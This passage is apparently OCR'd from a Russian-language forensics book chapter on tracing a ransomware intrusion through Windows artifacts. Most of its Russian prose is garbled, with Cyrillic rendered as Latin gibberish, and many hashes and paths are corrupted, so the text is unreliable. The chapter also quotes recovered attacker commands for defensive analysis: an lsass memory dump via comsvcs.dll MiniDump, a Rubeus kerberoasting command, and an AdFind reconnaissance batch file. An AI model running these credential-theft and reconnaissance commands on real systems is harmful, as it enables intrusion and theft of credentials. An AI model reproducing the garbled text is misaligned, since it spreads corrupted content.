aeccd376907cc7c1483F7360af3e52cdac5a0335 ¢:\users\ieuser\appdata\local\microsoft\onedrive\21.220.1024.0005\filecoauth.exe
15babSafff9abbaldebdcbddfo989f1b2fbcdbfl c:\users\ieuser\appdata\local\microsoft\onedrive\21.220.1024.0005\filesyncconfig.exe
cadf282fcceB?391F19483204cc5F6a20dbb@6a9 c:\users\ieuser\appdata\local\microsoft\onedrive\21.220.1024.0005\filesynchelper.exe
dfbo486417b6cf18c4811e3287fa22e9dd109264 c:\users\ieuser\appdata\local\microsoft\onedrive\21.226.1024,0005\microsoft.sharepoint.nativemessagingc
3bB1820a092a83799948193524ce8d8c161eb34fc c:\users\ieuser\asppdata\local\microsoft\onedrive\21,226.1024.0005 \microsoft. sharepoint . exe
98e184de908265514FecaBaff71581463e4cebab c:\windows\systeni2\mrt exe

56a596db9c8384281302e23105e3cebif670a437 ¢:\prograsdata\microsoft\windows defender\platform\4.18.1992.2-8\nsmpeng.exe
82e71fbae780bf16f3c42d52e2c6b0a4ef48732¢ ¢:\progrom files\windows defender\msmpeng.exe

082382312727e8d3b14603ccS51af1615ec725¢0e c:\users\icuser\appdata\local\microsoft\onedrive\21.220.1024.0005 \onedrivefilelauncher.exe
2F16121185b5716ade6b895127d56129%:7cafe c:\users\isuser\appdata\local\microsoft\onedrive\21.220.1024.0005\onedrivesetup.exe
6bf162ba772a85921907672F51193125¢74a7541 ¢:\users\feuser\appdata\local\microsoft\onedrive\21.220.1024.0005 \onadriveupdatersenrvice exe
fiba3415dd068a88711285570bea2e29874cbff1 c:\windows\system32\rundl132.exe

Sbaf388feca511celdfashf855626c7c7b517ac21 c:\users\public\anydesk.exe

5d73359fb248f9611d8674e3cB854e3f111f58f34 c:\windows\system32\wermgr .exe

539¢228b6b332F520523e5ce358c16647dBbbe57 [c: \programdata\os981r8p.exe
ncf747lacd59c8d¢32dd58335861f98d62f55c6c'c:\u:cr;\public\net:can.exe

Puc. 9.2. Yacte BeIBOs1a AmcacheParser

Ha pucynke 9.2 nmoka3zansl J0Ka3aTeabCTBa BhINOJIHEHUS, U3BJICUCHHBIC IS TATBHEHIIIETO aHAIK3a C TOMOIIBIO
AmcacheParser. Ha riepBbIii B3IJ1s11 MBI HE BUJAUM HMYETO CBsi3aHHOro ¢ Mimikatz, HO B

narnke C:\ProgramData ects oueHb momo3puTeabHbIi Gaiin — 05981r8p.exe. dpyrue npoMeKyToOUHbIS TTAIKH,
TpeOyroiue BHUManus, — Temp, AppData u Windows.

JlaBaiiTe monpoOyem 00JbIle y3HaTh 00 3TOM (pailie, MpPOBEpUB MeTaJlaHHbIEC B 3anMcu B Amcache.

Bpemsa nepBoro BbinosHeHusA: 28.11.2021 12:00:15 (UTC)
SHA1: 539¢228b6b332f5aa523e5ce358c16647d8bbe57
Pa3smep: 380928

Bepcua npoaykra: 2.2.19882.0

K coxajieHH10, y HaC HeT HUKaKOM MH(OpPMAIMH O IIPOYKTE, KPOME €ro BEpCHUH, — HO 3aTO MbI pacliojiaracm
xemeM SHA 1. ITouck B Google moaTBep kaaet, 4To 3TOT Xeul cBa3aH ¢ GMER — unctpymenToM aiist
OOHApPYKEHHUS U YAAJICHUS PYTKUTOB. DTO SIBHBIM MPU3HAK OPECTYMHOM AesaTelbHOCTH! OnepaTopbl IporpaMm-
BBIMOTATEJIEW JOBOJBHO YacTO UCONb3yroT GMER n1s 3aBepiieHus pa3jinyHbIX IIPOIECCOB — HAIPUMED,
antuBupycHoro I10.

JloKa3aTenbCTB UCIOJIb30BAHNS MHCTPYMEHTOB JIJISI JAMIIMHIA YUYETHBIX JAaHHBIX Y HAC ITOKA HET, HO MBI YK€
OIIPEACIIMIIN BO3MOXKHYIO IIPOMEKYTOUHYIO nanky — ProgramData. Bceraa 1moie3Ho poBepsTh )KypPHaJIbI
aHTUBHUpYyca. Ha mpoTsoKeHnn sKU3HEHHOTO IIMKJIAa aTaKK 3JI0YMBIILICHHUKH UCIOJIb3YIOT MHOKECTBO
MHCTPYMEHTOB, U €CJIM OOHAPYKUTh XOTs Obl HEKOTOPBIC U3 HUX, OHU MOCIY>KaT HaJCKHBIMU OIIOPHBIMHU
TOYKAMM JIJISL PACCIICIOBAHUS U pearupOBaHUsI.

XOpOIIMM MOJACIOPbEM TIPU pearupoBaHUN Ha MHIMACHTHI SIBJISIOTCS KOJbI COOBITUH, IIO3TOMY UMEET CMBICIT
M3YYUTH KypHaJIbl cOObITH Windows.



B nanHoM ciydae y Hac ectb Tobko Microsoft Windows Defender. Hdopmarinio 00 0OHapyKEHUH MOKHO
HaWiTH B (paitie xxyprHana coosrtuiit Windows Microsoft-Windows-Windows Defender%4Operational.evtx. Camoe
HHTEpPECHOE COOBITHE, UMEIoIee YpOBeHb NpeaynpexacHus, — 1116. O0padoTaem 3ToT aiii ¢

romorepro EViXECMA.

1
1
1
1
1
4
p
il
3

Puc. 9.3. CoOrnITus, n3sineuenunle EvtxECmd
Kak Bugute, y Hac Bcero ojHo coobitue ¢ ID 1116. 3arnsHeM BHYTPb.

HassaHue BpeaoHocHoro M0: Backdoor: Win64/CobaltStrike.NP!dha
OnuncaHue: 63KA0p (cepbesHbIn PUCK)

Bpems obHapyxKeHusa: 2021-11-28T09:56:21.8987

dainn: C:\ProgramData\64.dll

Cobalt Strike! 910 oueHb pacnpocTpaHEHHBIM HHCTPYMEHT, UCIIOJIb3YEMbIM MHOTMMH B3JIOMIIMKaMHu. OH
00ecneyrnBaeT 3JI0YMBIIICHHUKAM YAAJEHHBIM JOCTYH K XOCTY, MMO3BOJISIET 3allyCKaTh KOMaHbI U (DakJIbl,
M3BJICKATh JJaHHBIC M, KOHEYHO K€, CO3/1aBaTh JaMIl YUETHBIX JaHHBIX. UTo elie 0oJiee BakHO, COOTBETCTBYIOIIAS
DLL naxoamnack B Toi e manke — C:\ProgramData.

JlaBaiiTe mocTpouM BpeMeHHY0 Iikany Ha ocHoBe SMFT ¢ momomisro MFTECmd 1 nmpoBepum 3Ty namnky Ha
HaAJIMYME JIPYTUX MPU3HAKOB BPEIOHOCHBIX (paiyioB (puc. 9.4).

05981r8p.exe .exe 380928 2021-11-28 11:59:20
F926D02C14822E3CC332E16(€66482174 1168 2021-11-28 12:00:15
MpKsl1lDrv.sys .Sys 48376 2021-11-28 12:00:21
{A1BFE124-7AB4-4FCD-93F4-6E76E19BFD7E} 11374 2021-11-28 12:01:00
WERDSEE.tmp.xml .xml 4364 2021-11-28 12:03:07
WERD61C.tmp.csv .CSV 60818 2021-11-28 12:03:07
WERD62D.tmp. txt LExt 13340 2021-11-28 12:03:07
NonCritical Update; f88c7d5e96c0d8517816.. @ 2021-11-28 12:03:07
WERDSED.tmp.WERInternalMetadata.xml .xml 5652 2021-11-28 12:03:07
SK.exe .exe 731136 2021-11-28 12:05:03
Report.wer .wer 7212 2021-11-28 12:35:33
Report.wer .wer 7210 2021-11-28 12:36:37

Puc. 9.4. Hacts pe3yabratoB padborel MFTECmd

Puc. 9.5. ®aiin tpaccupoBku i1 SK.exe

Name Size Type Date Modified

] SHELLEXPERIENCEHOST.EXE-7F9E3BDS.pf 41 Regular File 28.11.2021 11:26:00
[ 1 SHUTDOWN.EXE-B918DC57.pf 4 Regular File 19.03.2019 11:40:46
[ ] SIHOST.EXE-473D56F5.pf 13 Regular File 28.11.2021 11:25:50
1 SK.EXE-EFAGEES6.pf 15 Regular File 28.11.2021 12:06:22
L] SKYPE4LIFE.EXE-EC99DED7.pf 20 Regular File 19.03.2019 11:01:09
[ ] SLULEXE-A65918C4.pf 13 Regular File 28.11.2021 10:44:55
[ 1 SMARTSCREEN.EXE-4BF07096.pf 18 Regular File 28.11.2021 12:38:50
[ ] SMSS.EXE-1DCDOEB1.pf 2 Regular File  19.03.2019 10:49:34
L] SPEECHRUNTIME.EXE-A8F4661E.pf 17 Regular File 28.11.2021 11:32:01
L] SPPEXTCOMOBJ.EXE-F8C1C601.pf 6 Regular File 19.03.2019 10:52:20
[ ] SPPSVC.EXE-CBE91656.pf 8 RegularFile 28.11.2021 12:43:16
[ ] SSH-KEYGEN.EXE-C09BDODD.pf 5 Regular File 19.03.2019 11:32:34
| 1 SSHD.EXE-A6DB32A9.pf 7 Regular File 19.03.2019 11:32:50
L] SVCHOST.EXE-00ABBO6A.pf 9 Regular File 28.11.2021 10:50:01
L] SVCHOST.EXE-00BB3EFB.pf 9 Regular File 28.11.2021 11:56:09




Kak Bugute, BCkope mocie 05981r8p.exe Ob11 co3/1aH ellle OA1H I0I03pUTEIbHbIN (aitn — SK.exe. Mbl He
BHUJICIHU €ro B BeIBOJe AmcacheParser, Ho TeM He MeHee JJII HEero eCTh (paiyl TpacCUPOBKHU, YKa3bIBAIOIIUN Ha TO,
4TO OH 3amyckaics (puc. 9.5).

CorznacHo mH(}pOpManmu, KOTOPYIO MBI coOpanu B pe3yiabTare aHanuza SMFT, daiin Bce eme momkeH
CYIIIECTBOBATh — 3HAYUT, Mbl MOKEM €0 XelmunpoBaTh. [IpoBepus xemn Ha VirusTotal, MbI cpa3y ke moaydyum o
HeM 0oJiee MoAPOOHYIO HH(POPMALIHIO.

| File Version Information

| Copyright Copyright © 2018
| Product SafetyKatz
| Description SafetyKatz

| Original Name  SafetyKatz.exe
'Internal Name  SafetyKatz.exe
| File Version 1.0.0.0

Puc. 9.6. Uudopmanus o ¢aiine, monxydenHas u3 VirusTotal

Wtak, mbl umeeM aeno ¢ SafetyKatz — Heckosibko MoguduImpoBaHHON Bepcuen opurnHaibHoro Mimikatz.
KoHeuHo, Takne HHCTPYMEHTHI, KaK IPaBUII0, OCTABJIAIOT HE MEHbIE clieqoB, ueM Cobalt Strike Beacon,
MIOATOMY HOJIB30BaTEIN HPOrpaMM-BbIMOTaTeNIe YacTo NpHUOEraroT K BCTPOCHHBIM HHCTPYMEHTAM JIJIs TaMITUHT A
YUETHBIX JIAHHBIX.

Z[aMrer VHETHBIX JdHHBIX C IOMOIIbI0O BCTPOCHHBIX HHCTPYMECHTOB

310YMBIIIICHHUKH YCIEITHO MOJb3YKOTCSI COOCTBEHHBIMU BO3MOXKHOCTSIMH ONEpaIllMOHHOM cucTteMbl Windows
— OCOOCHHO JJIs TaMITMHTA YYETHBIX JaHHBIX. MBI 3HAEM, UTO MHOTHUE TPYNITUPOBKHU MPOTrPAMM-BbIMOTaTEIIEH
ucroab3yroT comsves.dll mrst cozmarms mamma Isass.exe.

Haiitn nokazarenbcTBa TaKOW aKTHBHOCTH MOYKET OBITh JOBOJIBHO CJIOKHO, MOCKOJIBKY 3J10YMBIIIIICHHUKH
snoynoTpeoirsiror rundll32.exe nns Ber3oBa sxcoprupoBanHoi pyrkmuyn MiniDump u3z comsvces.dll. Tem ve
MEHEE €CTh HECKOJBKO BEChMA MOJIE3HBIX KPUMUHAIUCTUYECKUX apTe(HAKTOB, KOTOPHIE MOTYT IIOMOYb BaM
OOHAPYKUTh ATOT METOJ.

Kax BbI 3HaeTe, (hailiibl TPACCHPOBKH COACPKAT HE TOJILKO CBHJICTCILCTBO 3aITyCKa Ha HCIIOJTHEHHE, HO TaKKE
CIIMCOK TaITOK U (DaiIoB, C KOTOPHEIMH B3aUMOICHCTBOBAI HcTOMHsAeMbIH (ain. [Tockonbky rundll32.exe o6prano
He cchiaercs Ha comsves.dll, Mmbr MoskeM M3ydnTh CBsI3aHHBIC (PaiiIbl TPACCHPOBKH.

B HameM ciydyae uMeeTcst ceMb (DarsIoB TPACCUPOBKH, CBSI3AHHBIX C pACCMAaTPUBAEMbIM HCITOJHAEMBIM (DaJIOM.
Ecnu pazo0path Kaxkablil U3 HUX, HanpuMmep npu nomoi PECmd, Mbl 00Hapy>XuUM B CIIHUCKE (PaiioB, C
KOTOPBIMH B3aMMOJEHCTBOBAJ HCIIOIHACMBIN (haifll, MOI03pHUTEIbHEIC 3amucH (puc. 9.7).



Files referenced: 32

: \VOLUME{91d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\NTDLL.DLL
: \VOLUME{@1d4de8bab6e93c69-bdabfect} \WINDOWS\SYSTEM32\RUNDLL32.EXE
: \VOLUME{@1d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\KERNEL32.DLL
: \VOLUME{@1d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\KERNELBASE.DLL
- \VOLUME{91d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\LOCALE.NLS
- \VOLUHE>01d4d88ba6e93c69 b4a6fec6<\HINDONS\SYSTEM32\HSVCRT DLL
: \VOLUME{91d4de8babe93c69-bdabtfect} \WINDOWS\SYSTEM32\COMBASE.DLL
: \VOLUME{9©1d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\UCRTBASE.DLL
: \VOLUME{91d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\RPCRT4.DLL
: \VOLUME{@1d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\BCRYPTPRIMITIVES.DLL
: \VOLUME{@1d4de8babe93c69-bdabfect } \WINDOWS\SYSTEM32\SHCORE.DLL
1: \VOLUME{@1d4de8bate93c69-bdabfect} \WINDOWS\SYSTEM32\IMAGEHLP.DLL
: \VOLUME{91d4de8babe93c69-bdabfeco}\$MFT
: \VOLUME{91d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\COMSVCS.DLL
: \VOLUME{@1d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\OLEAUT32.DLL
: \VOLUME{91d4de8ba6e93c69-bdabtfect} \WINDOWS\SYSTEM32\MSVCP_WIN.DLL
: \VOLUME{9©1d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\SECHOST.DLL
: \VOLUME{9@1d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\OLE32.DLL
: \VOLUME{@1d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\ADVAPI32.DLL
: \VOLUME{@1d4de8bate93c69-bdabfect} \WINDOWS\SYSTEM32\GDI32.DLL
: \VOLUME{91d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\GDI32FULL.DLL
: \VOLUME{91d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\USER32.DLL
: \VOLUME{91d4de8babe93c69-bdabfect } \WINDOWS\SYSTEM32\WIN32U.DLL
: \VOLUME{@1d4de8babe93c69-bdabfect } \WINDOWS\SYSTEM32\IMM32.DLL
: \VOLUME{@1d4de8ba6e93c69-bdabfect } \WINDOWS\SYSTEM32\EN-US\RUNDLL32. EXE.MUI
: \VOLUME{@1d4de8ba6e93c69-bdabfect} \WINDOWS\SYSTEM32\UXTHEME.DLL
: \VOLUME{91d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\MSCTF.DLL
: \VOLUME{©1d4de8babe93c69-bdabfect } \WINDOWS\SYSTEM32\DWMAPI.DLL
: \VOLUME{©1d4de8babe93c69-bdabfect} \WINDOWS\SYSTEM32\CRYPT32.DLL
: \VOLUHEfOIddde8ba6e93c69 bda6fec6‘\HINDONS\SYSTEM32\HSASN1 DLL

Puc. 9.7. Cniucok (aitnoB, ¢ KOTOPHIMH YCTAHOBJIEHO B3aUMO/ICMCTBHUE, U3BJICUCHHBIN 13 (Paiijia TpaCCUPOBKHU
rundll32.exe

Ha pucynke ykazan comsvcs.dll — ckopee Bcero, 3110 yMBIIIICHHUKH MCITOIB30BAIM 3Ty TEXHHUKY I cOpoca
YUETHBIX JIaHHBIX BMecTe ¢ SafetyKatz.

JlaBaliTe pacCMOTPHUM €l1l€ OJUH apTedaKT, KOTOPhII YaCTO YIYCKaIOT U3 BUY B X0/1€ KPUMHUHAIUCTUYECKUX
IKcIepTH3, — (aitiasl ucropun koucoimm PowerShell. Otu daitnel Haxoxarcs B manke Y0APPDATA%\-
Microsoft\Windows\PowerShell\PSReadLine. Ux MoxHO mpocMaTpuBaTh B JIFOOOM TEKCTOBOM PEAAKTOPE, M OHH
TOCTYITHBI IO yMoJiuanuto, HauuHast ¢ PowerShell v5 B Windows 10 u Oonee no3naux Bepcusix. [IpoBepum, HeT
1 B 3THX (haijiax MOJIE3HbIX YIIHK:

tasklist

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 556
C:\ProgramData\lsass.dmp full

cd c:\programdata

.\Rubeus.exe kerberoast /ldapfilter: admincount=l /
format: hashcat /outfile: C:\Users\Public\hashes.txt
\SK.exe

Teneps MBI ICHO BHAMM, YTO 3JI0YMBIIUICHHUKH 310yroTpeonmn comsves.dll, aToosr momyunts mamm sass.exe.
Taxoke MBI BUIEM €IIle OJHO J0Ka3aTellbcTBO BhimoiHeHUs SafetyKatz (SK.exe).

EcTh emie oguH OYeHb NMHTEPSCHBIM UCITOHAEMBIN (aiin — Rubeus.exe. Uto 3to Takoe? ITonpoOyeM BBEIICHUTE!

Kerberoasting

I[&MHI/IHF YUYCTHBIX JAHHBIX — OYCHb paCHpOCTpaHCHHBIﬁ MCTO/, HCHOHBBYCMBIﬁ 3JIOYMBIINUIICHHHUKAMH B XO/IC
aTakK HpOFpaMM'BbIMOFaTeHCﬁ, YIIPpABJIAACMBIX YCIIOBCKOM. Ho He BCCT'Ida BO3MOZKHO ITIOJIYUHUTHh YUCTHBIC TdHHBIC
IS TOPU30OHTAJIBHOI'O IICPEMCIIICHUS 110 CCTH, II03TOMY B3JIOMIITWMKH BBIHYKICHbBI NCIIOJIB30BATh APYI'HC MCTObI.

OauH U3 METOJI0B, K KOTOPBIM 3JIOYMBIIIJICHHUKH IIPUOEraroT Bce vallle 1 yanie, — kerberoasting. DToT T
aTaKH IT03BOJIICT aTaKYIOIIUM 3J10yHOTpeOIATh AchicTByIomuM OrmieTom Kerberos ticket-granting ticket (TGT)
WJIU TIEPEXBAThIBATh CETEBOM Tpaduk, yToOkI monyunTh Omitet ticket-granting service (TGS), a 3aTem momnbsITaThHCS
MOJIYYNUTh IIApOJIh B aBTOHOMHOM PEKHME ¢ IIOMOIIBIO mepedopa.

B npeapiaymeM pasaeiae Mbl BUJICIIH, YTO 3JJ0YMBINIJICHHUKY CKadaln U 3anycTuiim Rubeus.exe — odceHb
pPACHPOCTPAHEHHBIM MHCTPYMEHT JJIs1 BHIIIOJIHEHUS TAaKUX aTAK, B KCHOJb30BAHUU KOTOPOTO 3aMEYECHbI, B

YaCTHOCTH, JIMLIA, CBSI3aHHBIC ¢ rpynnupoBKoi Contl. Bbl MOkeTe CTalIKMBaThCS C MMOAOOHBIMUA METOJaMHU
JOBOJIBHO 4YaCTO, MMOCKOJIBKY 3710 YMBIIIICHHUKAM HY>KHbI JCHMCTBYIOIINE YYCTHBIC JaHHbBIC, YTOOBI HAYaTh
TOPU30HTAIBHOE NEPEMEILICHHUE 110 CETH.



MBI yxe BUACTH JO0Ka3aTreabCcTBa 3anycka Rubeus B danie ncropuu koncoau PowerShell, Ho naBalite nzyunm
HEKOTOPHIC APYTHUE€ UCTOYHUKHU, K KOTOPBHIM MBI €I11€ HE 00palajiuch, HAIIPUMEP MOHUTOP MCHOIb30BaAHUS
CHCTEMHEBIX pecypcoB (System Resource Usage Monitor, SRUM).

Ota pyHkuMsa nosBrwiacb B Windows 8 u coOnpaer HHPOpPMAaIHIO O Pa3InYHbIX UCTIOJIHIEMbIX (paiiax u
OTPEOJISIEMBIX UMH PECypcax, BKIOYAs CETEBOM TpauK 1 00I11ee BpeMs Ipolieccopa. ITa HHGOpMaIns
xpaHutcs B 0a3ze manHbIx EXtensible Storage Engine (ESE), koropas o0pran0 HaxoauTes B manke C:\Windows\-
System32\sru B aitne SRUDB.dat.

MBI MOXEM M3BJIeUb U3 ATOr0 (haiija HHTEpECYIOIIMEe HAC JaHHbIE, HAaIlpUMep, ¢ moMolbo SrumECmd.

Timestamp Exe Info

- o

2021-11-28 12:14:00 DiskSnapshot.exe
2021-11-28 12:14:00 svchost.exe

2021-11-28 12:14:00 ngentask.exe

2021-11-28 12:14:00 FaceFodUninstaller.exe
2021-11-28 12:14:00 rundll32.exe

2021-11-28 12:14:00 lpremove.exe

2021-11-28 12:14:00 conhost.exe

2021-11-28 12:14:00 makecab.exe

2021-11-28 12:14:00 sc.exe

2021-11-28 12:14:00 svchost.exe

2021-11-28 12:14:00 Microsoft.SkypeApp_14.26...
2021-11-28 12:14:0@ 05981r8p.exe

2021-11-28 12:14:00 05981r8p.exe

2021-11-28 12:14:00 MRT.exe

2021-11-28 12:14:90 Rubeus.exe

E2621-11-28 12:14:0@0 WmiPrvSE.exe
[2021-11-28 12:14:00 SK.exe
2021-11-28 12:14:00 powershell.exe
2021-11-28 12:14:00 conhost.exe
[2021-11-28 12:14:00 conhost.exe
2021-11-28 12:14:00 SK.exe
2021-11-28 12:14:00 dllhost.exe
2021-11-28 12:14:00 netscan.exe

Puc. 9.8. Yacrtb BbiBOa SrumECmd

Kak BujiHO Ha pUCyHKe 9.8, €CTh €llle 0JJHO JI0Ka3aTeabCTBO 3anycka Rubeus. OueHp BakHO MPOBEPSTH
pa3IMYHbIC HCTOYHUKH YJIMK, TAK KaK B 3aBUCHUMOCTH OT OOCTOATEIBCTB Pa3HbIC UCHOIHIEMbIC (DAHJIBI MOTYT
OCTaBJIATH pa3Hble apTedakThl. Kpome Toro, He 3a0bIBaiiTe, 4TO MOJb30BATEIN MPOTPAMM-BBIMOraTeJIEH 4acTo
YIAAISIOT CBOU MHCTPYMEHTHI CO B3JIOMAHHBIX XOCTOB.

Ente onuH BaXHBIN apTeakT — CBUJIETEIBCTBO 3aIlycka netscan.exe. [lonpoOyeM y3HaTh 0 HEM OOJIBIIIE.

N3ydyeHHe MeTOA0B pa3BeAKH

Kak Bbl IOMHHUTE, OJIHA U3 OCHOBHBIX 1I€JICH 3710 YMBIIIUIICHHUKOB — 3alIM(POBATH KAK MOXKHO OOJIbIIIE XOCTOB, a
JUISL TOT0 UM HY>KHO cOOpaTh HHMOPMAIIUIO O CETH, B KOTOPYIO OHU MPOHUKIIH. MOKHO MPOCTO MPOCKAHUPOBATH
CETh, YTOOBI MOTYYUTh HH(DOPMALMIO 00 YIAICHHBIX XOCTaX, WX UCHOIb30BaTh Pa3INnYHbIC HHCTPYMEHTHI
pazBeaku Active Directory, Takue kak AdFind nim ADRecon.

CKaHMpOBaHUE CEeTHU

biarogaps ananuzy apredakroB SRUM Mbl yke coOpanu nHopMmaluio o0 ucnoiaHseMoM (Qaiine netscan.exe.
OCHOBBIBAsICh Ha ATOM MH(POPMAITUN, MBI MOXKEM MPEAIIOI0KUTh, YTO (Pailsl MCIIOJIb30BAJICS JIULIAMU,
CBSI3aHHBIMU C IIPOrPaMMOM-BEIMOTraTeIeM, IJIs CKAHUPOBAHUS CETH.

[Ipexxe Bcero Ham HYXKHO y3HATh, I'/I€ OH HaxoauTcsa. MuI yxke npoananu3upoBaian SMFT, Tak uTo gaBaiite
HayHeM ¢ Hero. AHanu3 MFT nydliie mokaseiBaeT, Kakue apTe(akTbl MOTYT OBITh IOJIE3HBI JJIs JAJbHEUIIIErO
paccieIoBaHus, U MO3BOJISIET IIOCMOTPETh HA aTaKy ¢ TOUYKM 3pPEHMS (pailjIoBOM CHUCTEMBI.

.\Users\smith\AppData\Local\Packages\Microsoft.MicrosoftEdg.. Downloads
.\Users\smith\AppData\Roaming\Microsoft\Windows\Recent\Auto.. 7e4dcaB0246863e3.automaticDestinations-ms
.\Users\smith\AppData\Roaming\Microsoft\Windows\Recent System. Ink
.\Users\smith\AppData\Local\Temp\VirtualBox Dropped Files 2021-11-28T712_12_01.858236400Z
.\Users\Public netscan.exe

.\Windows\Prefetch NETSCAN.EXE-145DC073.pf
.\Users\smith\AppData\Local\Temp aria-debug-6504.log
.\Users\smith\AppData\Local\Microsoft\OneDrive\logs\Common FileCoAuth-2021-11-28.1213.6504.1.0dl
.\Users\smith\AppData\Local\Temp edg2932.tmp

.\Users\Public netscan.lic

.\Users\Public netscan.xml

.\Users\smith\AppData\Local\Temp\VirtualBox Dropped Files 2021-11-28T12_16_31.933018800Z




Puc. 9.9. IlyTs Kk netscan.exe, monydeHaslit u3 SMFT

Teneps MBI BHauM, uTo netscan.exe maxoaurcs B nanke C:\Users\Public. bomee Toro, Mel Buanm, 9To daiin
TPACCUPOBKHU ObLI CO3aH Cpasy Iociie ucnoiaHseMoro (pamia. Kak Bbl yke 3HAaeTe, 3TO 03HAYAET, YTO (hauil ObLI
3anyimeH. Ho kem?

JlaBaiiTe pacCMOTPHM €Il€ OJIMH UCTOYHUK MH(OPMAIIUM O 3allyCKax mporpamMMm — Ha 3ToT pa3 UserAssist.
Yt005sI M3BICYL HH(MOpMAIIUIO, HaM HYXHO moiryunth (paitn NTUSER.dat u o6padorars ero, Hampumep, ¢
nomolbo RegRipper.

2021-11-28 12:44:577
{1AC14E77-02E7-4ESD-B744-2EB1AES198B7}\cmd.exe (4)
2021-11-28 12:42:327
Microsoft.Windows.Explorer (9)
2021-11-28 12:42:027
Microsoft.Windows.RemoteDesktop (1)
2021-11-28 12:23:257
Microsoft.AutoGenerated. {BBO44BFD-25B7-2FAA-22A8-6371A93E0456} (1)
2021-11-28 12:22:477
{1AC14E77-02E7-4ESD-B744-2EB1AES198B7 }\WindowsPowerShell\v1l.0\powershell.exe (2)
2021-11-28 12:20:02Z
{1AC14E77-02E7-4ESD-B744-2EB1AES198B7 }\notepad.exe (12)
2021-11-28 12:12:11Z
C:\Users\Public\netscan.exe (1)
2021-11-28 12:09:457
Microsoft.MicrosoftEdge 8wekyb3d8bbwe!MicrosoftEdge (2)
2021-11-28 11:59:247
C:\ProgramData\o5981r8p.exe (1)
2021-11-28 11:45:07Z
Microsoft.AutoGenerated. {923DD477-5846-686B-A659-0FCCD73851A8} (1)
2021-11-28 11:38:51Z
Microsoft.Windows.SecHealthUI cwSnlh2txyewy!SecHealthuI (1)
2021-11-28 11:34:47Z
{1AC14E77-02E7-4ESD-B744-2EB1AES5198B7 } \WindowsPowerShell\v1l.e\PowerShell ISE.exe (1)

Puc. 9.10. Janusie UserAssist, mpoaHain3nupoBaHHbIE ¢ MOMOIIBIO RegRipper

[Tpoanamm3uposas daitn NTUSER.dat, pacttonoxxennsiii B manke C:\Users\smith, mMer Buaum, dro 3arryck
¢haifira netscan.exe ObLI BEIIIOJIHEH IT0JIb30BaTeaeM SMith. Ho yBepeHsbI 11 MBI, YTO CKAHMPOBAHUE CETH
IEeUCTBUTEIBbHO UMeIo MecTto? Emie Het! JlapaliTe n3ydnum CBOMCTBA (paiina.

Property Value

Description
File description Application for scanning networks
Type Application
File version 8120
Product name  Network Scanner
Product version 8.1.2

Copyright 2003-2021 SoftPerfect Pty Ltd
Size 13.7MB

Date modfied 12/17/2021 1:.01 PM
Language English (Untted States)

Puc. 9.11. CBoiicTBa netscan.exe

Co cBolicTBaMHu (paila BCce IMOHATHO: ITOX0XKe, Mbl uMeeM Aeiio ¢ SoftPerfect Network Scanner. Kak Buaure,
CBOICTBa (paiina MOTYT IPOJIUTh CBET HAa MHOTHE OCOOCHHOCTH paccMaTpuBaeMoro (¢aiijaa, BKJIKOYas €ro BEPCHIO,
pazpaboruuka u T.7. Ho naBalite n3y4um mnamky, B KOTOPOH MbI €ro HaIlLJIH.

%] a.bat 1 Regular File 28.11.2021 12:20:37
=] AdFind.exe 1966 Regular File 28.11.2021 12:16:31
= ad_computers.txt 5 Regular File 28.11.2021 12:27:17
£ ad_group.txt 44 Regular File 28.11.2021 12:27:16
E ad_ous.txt 1 Regular File 28.11.2021 12:27:17
5 ad_users.txt 6 Regular File 28.11.2021 12:27:17
= AnyDesk.exe 3715 RegularFile 28.11.2021 11:27:44
4] desktop.ini 1 Regular File 15.09.2018 7:31:35

netscan.exe 14 003 Regular File 28.11.2021 12:12:01
[ ] netscan.lic 1 RegularFile 28.11.2021 12:14:40
£/ netscanxml 37 Regular File 28.11.2021 12:14:40
= subnets.txt 1 RegularFile 28.11.2021 12:27:16
E trustdmp.txt 1 Regular File 28.11.2021 12:27:16

Puc. 9.12. Conepxxumoe C:\Users\Public




Kak BuguTe, B 3TOM NamnkKe J0BOJLHO MHOI'O MHTEPECHBIX (haliioB. Jleo B TOM, YTO JIMILIA, CBSI3aHHBIC C
[IPpOrpaMMaMU-BbIMOTaTEIAMU, MOT'YT UCIIOJIb30BATh HECKOJIBKO IPOMEKYTOYHBIX MANOK JIJII CBOUX
WHCTPYMEHTOB, IO3TOMY 00513aTEIBHO MTPOBEPSANTE KAKIBIA apTe(haAKT U MOCTAPANTECH HE MPOITYCTUTH HU OJTHOM
LICHHOU YJIHUKMU.

PasBeaka Active Directory

Wrak, B manke C:\Users\Public ects eme Heckombpko naTEepecHBIX (ainoB. Onua u3 Hux — AdFind.exe. Ckopee
Bcero, 370 AdFind — GecniaTHbi HHCTpYMEHT [t coopa nHdopmanuu u3 Active Directory. Kpome Toro, ectsb
HECKOJIbKO (paiiyioB ¢ pacmupenueM .tXt — cBs3anbl 1u onu ¢ AdFind?

Taxoke B 3TOM IMamnke ecTh eIle OJWH MOA03PUTEIbHBIN (hai — a.bat. 3arnsHeM BHYTpb.

adfind.exe -gcb -sc trustdmp > trustdmp.txt

adfind.exe -f "(objectcategory=group)" > ad group.txt
adfind.exe -subnets -f (objectCategory=subnet)> subnets.txt
adfind.exe -sc trustdmp > trustdmp.txt

adfind.exe -f "(objectcategory=organizationalUnit)" > ad ous.
tXxt

adfind.exe -f "objectcategory=computer" > ad computers.txt
adfind.exe -f "(objectcategory=person)" > ad users.txt

Teneps MbI MOXKEM C YBEPEHHOCTBIO CKa3aTh, UTO 3JI0YMBIIUICHHUKHU ucnoib30BM AdFind nisa coopa
nHpopmaiuu 00 Active Directory. JlomycTuM, OHU HOIYYUIU AOCTYII K YUETHBIM JJAHHBIM U COOpaju
